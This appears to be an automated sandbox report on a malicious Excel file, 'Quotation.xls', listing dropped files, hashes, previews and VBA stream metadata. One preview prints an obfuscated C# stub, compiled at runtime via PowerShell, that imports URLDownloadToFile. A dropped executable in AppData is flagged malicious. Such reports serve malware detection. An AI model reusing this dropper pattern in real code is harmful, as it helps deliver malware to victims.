                                          Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...n.s.c.c.v.p.b.0...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...n.s.c.c.v.p.b.0...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                          C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.0.cs

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (337)
                                          Category:dropped
                                          Size (bytes):449
                                          Entropy (8bit):3.8812008143000267
                                          Encrypted:false
                                          SSDEEP:6:V/DsYLDS81zuUqKvtLMGlffQXReKJ8SRHy4HNxerdZ3hmjvHQy:V/DTLDfurK/gXfHHesjvwy
                                          MD5:9620075B970E6A107A8ADEF406D08461
                                          SHA1:8C87998B6515EE03D55B395AA3292B015352117D
                                          SHA-256:85382328F6F0AA62F185DF64516E81086ABF926F73E928860B1DB96C7D786943
                                          SHA-512:690AB867AAFEE8A79779751CA40C6CF8A597A3D28ECBCDE760EEAF5853D5763285702295F5B57976770E43DF9A6F66F8DD93B5F096F43FED3AA90B4B55DD2D12
                                          Malicious:false
                                          Preview:.using System;.using System.Runtime.InteropServices;..namespace MrXdso.{. public class tB. {. [DllImport("urLmon.DlL", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr gka,string JDbzaybKcJ,string gm,uint DuzlWqbWhXC,IntPtr Uf);.. }..}.

                                          C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
                                          Category:dropped
                                          Size (bytes):369
                                          Entropy (8bit):5.216398721929364
                                          Encrypted:false
                                          SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23f8Cqzxs7+AEszIP23f8CEA:p37Lvkmb6KzECqWZEoECP
                                          MD5:6A1DD65F9F0703BD0723A434ECF3ED55
                                          SHA1:DF83C300A93E33E2699996B3F0C57B7D814A12EE
                                          SHA-256:DEFBD86AFF45E0E2E4170BC4CD960F1FD20539E6493E3D215F3F6965F6FF7266
                                          SHA-512:65774727330294A22B9E3D48599797E06153907807A900A428DEDC6F76B85A847FAF932AF5D952011FFBF595DDC5770CB23863FDE8190E2BAFE8BD5940CCC06A
                                          Malicious:true
                                          Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.0.cs"

                                          C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.dll

                                          Download File
                                          Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                          File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                          Category:dropped
                                          Size (bytes):3072
                                          Entropy (8bit):2.8057420639725836
                                          Encrypted:false
                                          SSDEEP:24:etGSRPBG5eM7p8qqZ/k4YA4L/YjtkZfH7f2aqhkWI+ycuZhNDakSlPNnq:66sM+qfBLQCJbfzEH1ulDa3/q
                                          MD5:5945540E14947FE960EE6F00C7EB8093
                                          SHA1:AE765435A3C7E7E9EF525A8AEAE56B3654219B8B
                                          SHA-256:5EFA9DFA5226E3CAF2A4D9D25ED4D5B1E1F6D1624F55B0179AFA009AF00BE74F
                                          SHA-512:201B39B4E7FF60B1DFDC4D230EEF948763B19432BD0F7C9B26E689EE2B14A62A5709C1B9AC8C41C4656AF89A04BF746DAD4E9C9C5A894F2668DA1B4CD732E24D
                                          Malicious:false
                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....w.f...........!.................#... ...@....... ....................................@.................................X#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................1.*.....q.....q.......................................... 8.....P ......J.........P.....T....._.....b.....n...J.....J...!.J.....J.......!.....*.......8.......................................!..........<Module>.ns

                                          C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.out

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
                                          Category:modified
                                          Size (bytes):866
                                          Entropy (8bit):5.323466621434617
                                          Encrypted:false
                                          SSDEEP:24:AId3ka6KzECLEoEC2KaMD5DqBVKVrdFAMBJTH:Akka60bEoGKdDcVKdBJj
                                          MD5:939A18728B5D38A572AAF59CBB64E94B
                                          SHA1:CFCEA97E42836E82433EADFB396F5AF9A4AF23FD
                                          SHA-256:0ADF84CF8143447F00C587DA7C6C861C380A28D65F73534CB29A73361DB03C8C
                                          SHA-512:578CA1227AD2CA5DDA306CEEADA501408D129DA625226DB98F702B52D06346A3DCA1BAA3CE770876C0CC3EBFC849285D1D7938B5D69FCDE74DB85BB3359E1C50
                                          Malicious:false
                                          Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                          C:\Users\user\AppData\Local\Temp\pao50f23.lxw.ps1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:very short file (no magic)
                                          Category:dropped
                                          Size (bytes):1
                                          Entropy (8bit):0.0
                                          Encrypted:false
                                          SSDEEP:3:U:U
                                          MD5:C4CA4238A0B923820DCC509A6F75849B
                                          SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                          SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                          SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                          Malicious:false
                                          Preview:1

                                          C:\Users\user\AppData\Local\Temp\sinfjslw.r0v.psm1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:very short file (no magic)
                                          Category:dropped
                                          Size (bytes):1
                                          Entropy (8bit):0.0
                                          Encrypted:false
                                          SSDEEP:3:U:U
                                          MD5:C4CA4238A0B923820DCC509A6F75849B
                                          SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                          SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                          SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                          Malicious:false
                                          Preview:1

                                          C:\Users\user\AppData\Local\Temp\w3ry335w.r5y.psm1

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:very short file (no magic)
                                          Category:dropped
                                          Size (bytes):1
                                          Entropy (8bit):0.0
                                          Encrypted:false
                                          SSDEEP:3:U:U
                                          MD5:C4CA4238A0B923820DCC509A6F75849B
                                          SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                          SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                          SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                          Malicious:false
                                          Preview:1

                                          C:\Users\user\AppData\Local\Temp\~DF46D35A8E3D377F95.TMP

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):512
                                          Entropy (8bit):0.0
                                          Encrypted:false
                                          SSDEEP:3::
                                          MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                          SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                          SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                          SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                          Malicious:false
                                          Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                          C:\Users\user\AppData\Local\Temp\~DF6EF0A24FA144A05D.TMP

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):512
                                          Entropy (8bit):0.0
                                          Encrypted:false
                                          SSDEEP:3::
                                          MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                          SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                          SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                          SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                          Malicious:false
                                          Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                          C:\Users\user\AppData\Local\Temp\~DF7431E8E57B77308E.TMP

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:Composite Document File V2 Document, Cannot read section info
                                          Category:dropped
                                          Size (bytes):30208
                                          Entropy (8bit):7.295616825330487
                                          Encrypted:false
                                          SSDEEP:768:4qTAUBP+dudGXy6dMR90KVIKiWZ/tgQEe:4qTAgWdudGXHKR9VPhute
                                          MD5:C97E32037FDB5853EE30862E33474E9A
                                          SHA1:842996EB4A0EC18E9BF91EF477B1456B8523B8C9
                                          SHA-256:89783D3970684EAD1246A42AB55B19CE2D7C0AF24E2A1B637D4086907662C1C5
                                          SHA-512:58049ECF762233A3AA10A8688AF55900CCD939C85D8DE319800D7CF57D657C7395316C5C21CCF9BCDEBBE55A15F7EAAAB81447866A63592B28F2BAA6F9375DD1
                                          Malicious:false
                                          Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9.......................................................................................................................................................................................................................................................................

                                          C:\Users\user\AppData\Local\Temp\~DF8DC96169C38B008D.TMP

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:Composite Document File V2 Document, Cannot read section info
                                          Category:dropped
                                          Size (bytes):196096
                                          Entropy (8bit):7.897223473789997
                                          Encrypted:false
                                          SSDEEP:3072:6zBht+AseOhDSUPhTHBq6U/6xVsMKgpNc+ZwuURRTd9STUvHi1T5OspJgNwy2:6zB8HBMixiMK6G+ZFrTUvCp4sJg
                                          MD5:30BD4336673E57261D80737115BE9063
                                          SHA1:7E5CCD1E1CDEC82300093A52FAE336B6D1B1EACD
                                          SHA-256:6D1B5616E0109EA90217857F7BF6441E5618F3E6E74F2A325D2BB4C67380007E
                                          SHA-512:EBB61D39F4E118D587BB324AC22941DDA3E3D840E0E0CC1990D02CA9D011255B732113D3C1255D9ECEA6399A6541D1A92D3647622A03AC06073C8CDB1F196C1C
                                          Malicious:false
                                          Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                                          C:\Users\user\AppData\Local\Temp\~DFD55592CC1F95D6B7.TMP

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):241664
                                          Entropy (8bit):7.503948751322649
                                          Encrypted:false
                                          SSDEEP:6144:VTAGN9vzB8HBMixiMK6G+ZFrTUvCp4sJg:VTHN9vzBSpozwjTqCfg
                                          MD5:BAC90D133C377B82533C7FDBB2CF3532
                                          SHA1:6365BD2BEDE2F510287222766E8A06CCB7CE2AA8
                                          SHA-256:33E7C00CC7CAB8F1C987B6CC2F258BA1A93D387A1DA80ABD864E58AC327F70D2
                                          SHA-512:B327ECD98705612CADE35B827F3472D453800BB936109A819F7939F673FECE38E3D91124A527301EB9CC7776D30F43CC04FCF139A6DB85403D7DB9611C5A0449
                                          Malicious:false
                                          Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                          C:\Users\user\AppData\Roaming\igccu.exe

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
                                          Category:dropped
                                          Size (bytes):3397673
                                          Entropy (8bit):4.854329136763004
                                          Encrypted:false
                                          SSDEEP:24576:Q785OVnJmAZaTGTFh98WK3vFLkjKsxnerYU:958BI0FhiKj7nerYU
                                          MD5:A2DCC2E9DD81E3A5F6440ED7027A86DA
                                          SHA1:3518E330EF6C682445BED81D6AE4E167B003AE4B
                                          SHA-256:3521381FADCA86CFC577E8AA81ECFF5F3453102559BB7E86D903D9B87DB1456C
                                          SHA-512:974DA06CF41DA5D6E65BF834394EC0E478DF55745C922CC7D5B3F8EC6501B1DFF5A0B866B8C53C01519F53BEE1BF7AEEC54E1E6515B105D24F7F5C4A2EC97D9E
                                          Malicious:true
                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....X.f.........."...0.................. ....@...... ....................................`.............................................................L............................................................................................ ..H............text........ ...................... ..`.rsrc...L...........................@..@........................................H........8...h..................................................................@... .........(....*:.(......}....*..(....*..{9...*"..}9...*..(....*n.(.....u....,...u....}8...*J.(.....sp...}8...*>.(.......oH...*..o....*:.{8.....o....*&...o....*b..(....,..*..o....o....*b..(....,..*..o....o....*:.{8.....o....*&...o....*6.{8....o....*"..o....*6.~.....o....*6.~.....o....*6.~.....o....*"..o....*:..(2....o....*J.~.....o....u....*J.~.....o....u....*"..o....*n.-.r...ps....z..s....o!...*r.-.r

                                          C:\Users\user\Desktop\8C130000

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Jul 3 17:06:49 2024, Security: 1
                                          Category:dropped
                                          Size (bytes):507392
                                          Entropy (8bit):7.945554648360759
                                          Encrypted:false
                                          SSDEEP:12288:GTHN9zzBSpozwjTqCfgNSe9PNH+XfDVlApdusyz1l4XWm7E:mHN9RWWCfgYen+vD4hyMXH7E
                                          MD5:855E52029D0A0B5AAAD321EBBC914573
                                          SHA1:7DB719A1F7BB6602392CE5466987E7A986947345
                                          SHA-256:5FCFA3D3B03C240ED84A4EB6873E5B10BF07E437C3606706B3A9F50F38259769
                                          SHA-512:F0011FD46F7A12E02A76013259B109664327B7B8CF6D1A6A4700AB82DB44265C99B19AF62806103E1ECC23B08BB2EEEB57EDA90A1B60352BB69C33B96E246549
                                          Malicious:false
                                          Preview:......................>...................................9...................;...<...=.......v.......x................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...........................?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                                          C:\Users\user\Desktop\8C130000:Zone.Identifier

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:ASCII text, with CRLF line terminators
                                          Category:dropped
                                          Size (bytes):26
                                          Entropy (8bit):3.95006375643621
                                          Encrypted:false
                                          SSDEEP:3:ggPYV:rPYV
                                          MD5:187F488E27DB4AF347237FE461A079AD
                                          SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                          SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                          SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                          Malicious:false
                                          Preview:[ZoneTransfer]....ZoneId=0

                                          C:\Users\user\Desktop\Quotation.xls (copy)

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Jul 3 17:06:49 2024, Security: 1
                                          Category:dropped
                                          Size (bytes):507392
                                          Entropy (8bit):7.945554648360759
                                          Encrypted:false
                                          SSDEEP:12288:GTHN9zzBSpozwjTqCfgNSe9PNH+XfDVlApdusyz1l4XWm7E:mHN9RWWCfgYen+vD4hyMXH7E
                                          MD5:855E52029D0A0B5AAAD321EBBC914573
                                          SHA1:7DB719A1F7BB6602392CE5466987E7A986947345
                                          SHA-256:5FCFA3D3B03C240ED84A4EB6873E5B10BF07E437C3606706B3A9F50F38259769
                                          SHA-512:F0011FD46F7A12E02A76013259B109664327B7B8CF6D1A6A4700AB82DB44265C99B19AF62806103E1ECC23B08BB2EEEB57EDA90A1B60352BB69C33B96E246549
                                          Malicious:true
                                          Preview:......................>...................................9...................;...<...=.......v.......x................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...........................?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                                          Static File Info

                                          General

                                          File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Jul 2 17:42:37 2024, Security: 1
                                          Entropy (8bit):7.906954936038988
                                          TrID:
                                          • Microsoft Excel sheet (30009/1) 47.99%
                                          • Microsoft Excel sheet (alternate) (24509/1) 39.20%
                                          • Generic OLE2 / Multistream Compound File (8008/1) 12.81%
                                          File name:Quotation.xls
                                          File size:459'264 bytes
                                          MD5:93728a4082d57c877a1d0ece7c233e42
                                          SHA1:d549cf4aa78a533c6f1426a69ee20b6e2f835f10
                                          SHA256:559122ff10dc062b44d239d7867a47266f0b8b1088df6551dcfa0f75eb1014bb
                                          SHA512:bf9831c184f080f5cd412e695752ee121b0103e8c3fb72a44d0a6629bc9dcb1a251b42d1ad0f206bb6648d1e9467244e503c93680ba4d039c17fac6383e0bc33
                                          SSDEEP:12288:Q6NCLDmASpozwjTqCfgAD9Bbkx3Vn5ktHMOoQO:Q6NCHVWWCfguBb+V5iHHo
                                          TLSH:09A4122B32B2DED3C19278354CC541923615AD201B9F957F34A8B7BD5A3B38346A3B93
                                          File Content Preview:........................>...................................A...................D...E...F...G...e..............................................................................................................................................................

                                          File Icon

                                          Icon Hash:276ea3a6a6b7bfbf

                                          Static OLE Info

                                          General

                                          Document Type:OLE
                                          Number of OLE Files:1

                                          OLE File "Quotation.xls"

                                          Indicators
                                          Has Summary Info:
                                          Application Name:Microsoft Excel
                                          Encrypted Document:True
                                          Contains Word Document Stream:False
                                          Contains Workbook/Book Stream:True
                                          Contains PowerPoint Document Stream:False
                                          Contains Visio Document Stream:False
                                          Contains ObjectPool Stream:False
                                          Flash Objects Count:0
                                          Contains VBA Macros:True
                                          Summary
                                          Code Page:1252
                                          Author:
                                          Last Saved By:
                                          Create Time:2006-09-16 00:00:00
                                          Last Saved Time:2024-07-02 16:42:37
                                          Creating Application:Microsoft Excel
                                          Security:1
                                          Document Summary
                                          Document Code Page:1252
                                          Thumbnail Scaling Desired:False
                                          Contains Dirty Links:False
                                          Shared Document:False
                                          Changed Hyperlinks:False
                                          Application Version:786432

                                          Streams with VBA

                                          VBA File Name: Sheet1.cls, Stream Size: 977
                                          General
                                          Stream Path:_VBA_PROJECT_CUR/VBA/Sheet1
                                          VBA File Name:Sheet1.cls
                                          Stream Size:977
                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ~ @ . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
                                          Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7e 40 83 ec 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                          VBA Code
                                          Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                          VBA File Name: Sheet2.cls, Stream Size: 977
                                          General
                                          Stream Path:_VBA_PROJECT_CUR/VBA/Sheet2
                                          VBA File Name:Sheet2.cls
                                          Stream Size:977
                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ~ @ . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
                                          Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7e 40 07 e0 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                          VBA Code
                                          Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                          VBA File Name: Sheet3.cls, Stream Size: 977
                                          General
                                          Stream Path:_VBA_PROJECT_CUR/VBA/Sheet3
                                          VBA File Name:Sheet3.cls
                                          Stream Size:977
                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ~ @ < . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
                                          Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7e 40 ce 3c 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                          VBA Code
                                          Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                          VBA File Name: ThisWorkbook.cls, Stream Size: 985
                                          General
                                          Stream Path:_VBA_PROJECT_CUR/VBA/ThisWorkbook
                                          VBA File Name:ThisWorkbook.cls
                                          Stream Size:985
                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ~ @ _ . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . -
                                          Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7e 40 5f f0 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                          VBA Code
                                          Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                          Streams

                                          Stream Path: \x1CompObj, File Type: data, Stream Size: 114
                                          General
                                          Stream Path:\x1CompObj
                                          CLSID:
                                          File Type:data
                                          Stream Size:114
                                          Entropy:4.25248375192737
                                          Base64 Encoded:True
                                          Data ASCII:. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
